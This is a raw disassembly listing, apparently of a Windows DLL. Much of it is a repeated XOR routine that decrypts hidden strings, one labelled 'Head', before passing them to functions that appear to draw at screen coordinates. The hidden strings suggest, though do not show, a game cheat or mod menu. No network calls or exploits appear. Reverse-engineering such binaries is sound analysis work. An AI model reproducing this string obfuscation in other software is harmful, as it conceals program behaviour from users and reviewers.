mov eax, dword [str.xTRX_]
mov r8d, esi
movsd xmm0, qword [str.q__FSDL]
mov dword [rbp + 0x16a8], eax
movzx eax, byte [0x1801b7e3c]
mov byte [rbp + 0x16ac], al
movsd qword [rbp + 0x16a0], xmm0
cmp r12d, 2
jl 0x1800977d7
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.q__FSDL]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x16a0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x16a4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x16a4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x16a0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800977f0
lea rdx, [0x18023c23c]
lea rcx, [rbp + 0x16a0]
call fcn.1800031c0
call fcn.180006b10
call fcn.180013c40
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0x858]
addss xmm0, xmm8
mov dword [rbp + 0x858], 0x44070000
movss dword [rbp + 0x85c], xmm0
call fcn.1800255f0
movzx ecx, word [0x1801b7e44]
lea rdx, [rbp + 0x860]
mov eax, dword [0x1801b7e40]
mov r9d, 8
mov dword [rbp + 0x288], eax
xor r8d, r8d
movzx eax, byte [0x1801b7e46]
xor byte [rbp + 0x289], 0x33
xor al, 0x38
xor byte [rbp + 0x28a], 0x34
xor byte [rbp + 0x28b], 0x35
mov word [rbp + 0x28c], cx
xor cl, 0x36
xor byte [rbp + 0x28d], 0x37
mov byte [rbp + 0x28c], cl
lea rcx, [rbp + 0x288]
mov dword [rbp + 0x860], 0x43b68000
mov dword [rbp + 0x864], 0x4405c000
mov byte [rbp + 0x288], Ordinal_79
mov byte [rbp + 0x28e], al
call fcn.18000fbb0
cmp byte [0x1801b7e51], sil
movsd xmm0, qword [0x1801b7e48]
movzx eax, word [0x1801b7e50]
movsd qword [rbp + 0xf80], xmm0
mov word [rbp + 0xf88], ax
mov dword [rbp + 0x868], 0x43a00000
mov dword [rbp + 0x86c], 0x433e0000
je 0x18009796e
xor byte [rbp + 0xf81], 0x33
xor byte [rbp + 0xf82], 0x34
xor byte [rbp + 0xf83], 0x35
xor byte [rbp + 0xf84], 0x36
xor byte [rbp + 0xf85], 0x37
xor byte [rbp + 0xf86], 0x38
xor byte [rbp + 0xf87], 0x39
xor byte [rbp + 0xf88], 0x3a
xor byte [rbp + 0xf89], 0x3b
mov byte [rbp + 0xf80], 0x46
xor r9d, r9d
lea rdx, [rbp + 0x868]
mov r8b, 1
lea rcx, [rbp + 0xf80]
call fcn.180003bf0
cmp byte [0x18023c23c], sil
jne 0x1800979d7
mov eax, dword [str.pZP6]
lea r8, str.Head
mov dword [rbp + 0x60], eax
lea rdx, [0x18023c238]
movzx eax, byte [0x1801b7e58]
lea rcx, [rbp + 0x60]
xor byte [rbp + 0x61], 0x33
xor al, 0x36
xor byte [rbp + 0x62], 0x34
mov r9d, 3
xor byte [rbp + 0x63], 0x35
mov byte [rbp + 0x64], al
mov byte [rbp + 0x60], 0x42
mov dword [rsp + 0x20], r13d
call fcn.180006ae0
movzx eax, word [0x1801b7e68]
lea rdx, [0x18023c156]
movsd xmm0, qword [0x1801b7e60]
lea rcx, [rbp + 0x1150]
movsd qword [rbp + 0x1150], xmm0
xor byte [rbp + 0x1151], 0x33
xor byte [rbp + 0x1152], 0x34
xor byte [rbp + 0x1153], 0x35
xor byte [rbp + 0x1154], 0x36
xor byte [rbp + 0x1155], 0x37
xor byte [rbp + 0x1156], 0x38
xor byte [rbp + 0x1157], 0x39
mov word [rbp + 0x1158], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x1158], 0x3a
xor al, 0x3c
xor byte [rbp + 0x1159], 0x3b
mov byte [rbp + 0x115a], al
mov byte [rbp + 0x1150], 0x54
call fcn.1800031c0
cmp byte [0x1801b7e7d], sil
mov eax, dword [0x1801b7e78]
movsd xmm0, qword [0x1801b7e70]
mov dword [rbp + 0x1968], eax
movzx eax, word [0x1801b7e7c]
mov word [rbp + 0x196c], ax
movsd qword [rbp + 0x1960], xmm0
je 0x180097bc0
mov r8d, esi
cmp r12d, 2
jl 0x180097b7f
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7e70]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1960], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1964]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1964], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1960]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180097b90
lea rdx, [0x18023c161]
lea rcx, [rbp + 0x1960]
call fcn.1800031c0
cmp byte [0x1801b7e8d], sil
mov eax, dword [0x1801b7e88]
movsd xmm0, qword [0x1801b7e80]
mov dword [rbp + 0x1978], eax
movzx eax, word [0x1801b7e8c]
mov word [rbp + 0x197c], ax
movsd qword [rbp + 0x1970], xmm0
je 0x180097d40
mov r8d, esi
cmp r12d, 2
jl 0x180097cf5
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7e80]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1970], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1974]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1974], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1970]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180097d10
lea rdx, [0x18023c157]
lea rcx, [rbp + 0x1970]
call fcn.1800031c0
cmp byte [0x1801b7e9b], sil
movsd xmm0, qword [str.fRFRSC]
mov eax, dword [0x1801b7e98]
movsd qword [rbp + 0x15b8], xmm0
mov dword [rbp + 0x15c0], eax
je 0x180097eb0
mov r8d, esi
cmp r12d, 2
jl 0x180097e67
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.fRFRSC]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x15b8], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x15bc]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x15bc], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x15b8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x180097e80
lea rdx, [0x18023c16c]
lea rcx, [rbp + 0x15b8]
call fcn.1800031c0
movzx eax, byte [0x1801b7eb0]
mov r8d, esi
mov byte [rbp + 0x2050], al
movups xmm0, xmmword [0x1801b7ea0]
movups xmmword [rbp + 0x2040], xmm0
cmp r12d, 2
jl 0x180097ff1
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x2044]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180097f00
cmp r8d, 0x11
jge 0x180098030
movsxd rax, r8d
lea r9, [rbp + 0x2040]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x180098000
lea rdx, [0x18023c16d]
lea rcx, [rbp + 0x2040]
call fcn.1800031c0
mov eax, dword [0x1801b7ec0]
mov r8d, esi
movsd xmm0, qword [str.TZZDR]
mov dword [rbp + 0x1b88], eax
movzx eax, word [0x1801b7ec4]
mov word [rbp + 0x1b8c], ax
movzx eax, byte [0x1801b7ec6]
mov byte [rbp + 0x1b8e], al
movsd qword [rbp + 0x1b80], xmm0
cmp r12d, 2
jl 0x180098165
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.TZZDR]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1b80], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1b84]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1b84], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1b80]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x180098180
lea rdx, [0x18023c155]
lea rcx, [rbp + 0x1b80]
call fcn.1800031c0
call fcn.180006b10
cmp byte [0x1801b7ed3], sil
movsd xmm0, qword [str.sW_ECY_VO]
mov eax, dword [0x1801b7ed0]
movsd qword [rbp + 0x15c8], xmm0
mov dword [rbp + 0x870], 0x43a00000
mov dword [rbp + 0x874], 0x436b4405
mov dword [rbp + 0x15d0], eax
je 0x180098330
mov r8d, esi
cmp r12d, 2
jl 0x1800982f0
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.sW_ECY_VO]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x15c8], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x15cc]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x15cc], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x15c8]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x180098300
xor r9d, r9d
lea rdx, [rbp + 0x870]
mov r8b, 1
lea rcx, [rbp + 0x15c8]
call fcn.180003bf0
movzx eax, word [0x1801b7ee0]
lea rdx, [0x18023c164]
movsd xmm0, qword [0x1801b7ed8]
lea rcx, [rbp + 0x1160]
movsd qword [rbp + 0x1160], xmm0
movaps xmm3, xmm7
xor byte [rbp + 0x1161], 0x33
movaps xmm2, xmm10
xor byte [rbp + 0x1162], 0x34
xor byte [rbp + 0x1163], 0x35
xor byte [rbp + 0x1164], 0x36
xor byte [rbp + 0x1165], 0x37
xor byte [rbp + 0x1166], 0x38
xor byte [rbp + 0x1167], 0x39
mov word [rbp + 0x1168], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x1168], 0x3a
xor al, 0x3c
xor byte [rbp + 0x1169], 0x3b
mov dword [rsp + 0x28], esi
mov byte [rbp + 0x116a], al
mov byte [rbp + 0x1160], 0x46
mov qword [rsp + 0x20], rdi
call fcn.180008d40
cmp byte [0x1801b7ef3], sil
movsd xmm0, qword [0x1801b7ee8]
mov eax, dword [0x1801b7ef0]
movsd qword [rbp + 0x15d8], xmm0
mov dword [rbp + 0x15e0], eax
je 0x180098530
mov r8d, esi
cmp r12d, 2
jl 0x1800984f3
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7ee8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x15d8], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x15dc]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x15dc], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x15d8]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x180098500
mov dword [rsp + 0x28], esi
lea rdx, [0x18023c15c]
mov r9d, 0x64
mov qword [rsp + 0x20], rbx
xor r8d, r8d
lea rcx, [rbp + 0x15d8]
call fcn.180008db0
movzx eax, byte [0x1801b7f00]
lea rdx, [0x18023c168]
movsd xmm0, qword [str.vZGAWY_:]
lea rcx, [rbp + 0xd50]
movsd qword [rbp + 0xd50], xmm0
xor al, 0x3a
xor byte [rbp + 0xd51], 0x33
mov r9d, 0x3e8
xor byte [rbp + 0xd52], 0x34
mov r8d, 1
xor byte [rbp + 0xd53], 0x35
xor byte [rbp + 0xd54], 0x36
xor byte [rbp + 0xd55], 0x37
xor byte [rbp + 0xd56], 0x38
xor byte [rbp + 0xd57], 0x39
mov dword [rsp + 0x28], esi
mov byte [rbp + 0xd58], al
mov byte [rbp + 0xd50], 0x44
mov qword [rsp + 0x20], rbx
call fcn.180008db0
call fcn.180006b10
call fcn.180013c40
movdqa xmm8, xmmword [0x1801bab60]
cmp dword [0x1802402a0], 3
jne 0x18009f8fc
cmp dword [0x1802402a4], esi
movsd xmm10, qword [0x1801baa70]
movss xmm7, dword [0x1801baa40]
movss xmm9, dword [0x1801a7f44]
jne 0x18009d1e7
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0x878]
addss xmm0, dword [0x1801baad8]
mov dword [rbp + 0x878], 0x43520000
movss dword [rbp + 0x87c], xmm0
call fcn.1800255f0
mov eax, dword [0x1801b7f04]
lea rdx, [rbp + 0x880]
mov dword [rbp + 0x68], eax
lea rcx, [rbp + 0x68]
movzx eax, byte [0x1801b7f08]
mov r9d, 8
xor byte [rbp + 0x69], 0x33
xor al, 0x36
xor byte [rbp + 0x6a], 0x34
xor r8d, r8d
xor byte [rbp + 0x6b], 0x35
mov byte [rbp + 0x6c], al
mov dword [rbp + 0x880], 0x43a50000
mov dword [rbp + 0x884], 0x4405c000
mov byte [rbp + 0x68], Ordinal_79
call fcn.18000fbb0
cmp byte [0x1801b7f1b], sil
movsd xmm0, qword [0x1801b7f10]
mov eax, dword [0x1801b7f18]
movdqa xmm6, xmmword [rbp + 0x1de0]
movsd qword [rbp + 0x15e8], xmm0
mov dword [rbp + 0x888], 0x43a00000
mov dword [rbp + 0x88c], 0x43ed8000
mov dword [rbp + 0x15f0], eax
je 0x180098810
mov r8d, esi
cmp r12d, 2
jl 0x1800987ce
movd eax, xmm6
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm8
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7f10]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x15e8], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x15ec]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x15ec], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x15e8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1800987e0
xor r9d, r9d
lea rdx, [rbp + 0x888]
mov r8b, 1
lea rcx, [rbp + 0x15e8]
call fcn.180003bf0
cmp byte [0x1801b7f2d], sil
mov eax, dword [0x1801b7f28]
movsd xmm0, qword [str.b_ULSE]
mov dword [rbp + 0x1988], eax
movzx eax, word [0x1801b7f2c]
mov word [rbp + 0x198c], ax
movsd qword [rbp + 0x1980], xmm0
je 0x180098990
mov r8d, esi
cmp r12d, 2
jl 0x18009894f
movd eax, xmm6
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm8
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.b_ULSE]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1980], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1984]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1984], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1980]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180098960
mov qword [rsp + 0x28], rsi
lea rdx, [0x1802403e0]
xor r9d, r9d
mov qword [rsp + 0x20], rsi
mov r8d, 0x40
lea rcx, [rbp + 0x1980]
call fcn.18004a5d0
call fcn.180016870
addss xmm0, dword [0x1801a17d4]
call fcn.180025690
movzx ecx, word [0x1801b7f34]
lea rdx, [rbp + 0x890]
mov eax, dword [str.b_ULSE8]
xor r9d, r9d
mov dword [rbp + 0x290], eax
mov r8b, 1
movzx eax, byte [0x1801b7f36]
xor byte [rbp + 0x291], 0x33
xor al, 0x38
xor byte [rbp + 0x292], 0x34
xor byte [rbp + 0x293], 0x35
mov word [rbp + 0x294], cx
xor cl, 0x36
xor byte [rbp + 0x295], 0x37
mov byte [rbp + 0x294], cl
lea rcx, [rbp + 0x290]
mov dword [rbp + 0x890], 0x43b90000
mov dword [rbp + 0x894], 0x43c58000
mov byte [rbp + 0x290], 0x50
mov byte [rbp + 0x296], al
call fcn.18000fbb0
cmp byte [0x18023d431], sil
mov rax, qword [0x18023ff58]
mov rcx, qword [rax]
je 0x180098b0f
cmp qword [rcx + 8], rsi
je 0x180098dcc
mov rax, qword [0x18023ff68]
mov ebx, esi
mov rcx, qword [rax]
mov r13, qword [rcx + 0x18]
mov r15, qword [r13 + 0x108]
test r15, r15
je 0x180098dc5
mov rdi, rsi
nop
mov rax, qword [r13 + 0x100]
mov rcx, qword [rdi + rax]
test rcx, rcx
je 0x180098afc
mov rax, qword [0x18023ffd0]
mov rdx, qword [rax + rcx]
test rdx, rdx
je 0x180098afc
lea r14, [rdx + 0xfc]
mov rcx, r14
lea rdx, [0x1802403e0]
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x180098afc
cmp dword [0x18023d944], ebx
lea r9, [rbp + 0x898]
mov rcx, r14
mov dword [rbp + 0x898], esi
sete dl
mov dword [rbp + 0x89c], esi
xor r8d, r8d
call fcn.180008210
test al, al
je 0x180098afc
mov dword [0x18023d944], ebx
inc ebx
add rdi, 0x10
movsxd rax, ebx
cmp rax, r15
jb 0x180098a90
jmp 0x180098dc5
cmp qword [rcx + 8], rsi
je 0x180098dcc
mov rax, qword [0x18023ff60]
mov r15d, esi
mov r13, qword [rax]
cmp dword [r13 + 0x10], esi
jbe 0x180098dc5
movzx ebx, byte [rsp + 0x40]
mov r12, rsi
movabs r11, 0xcbf29ce484222325
movabs r10, 0x100000001b3
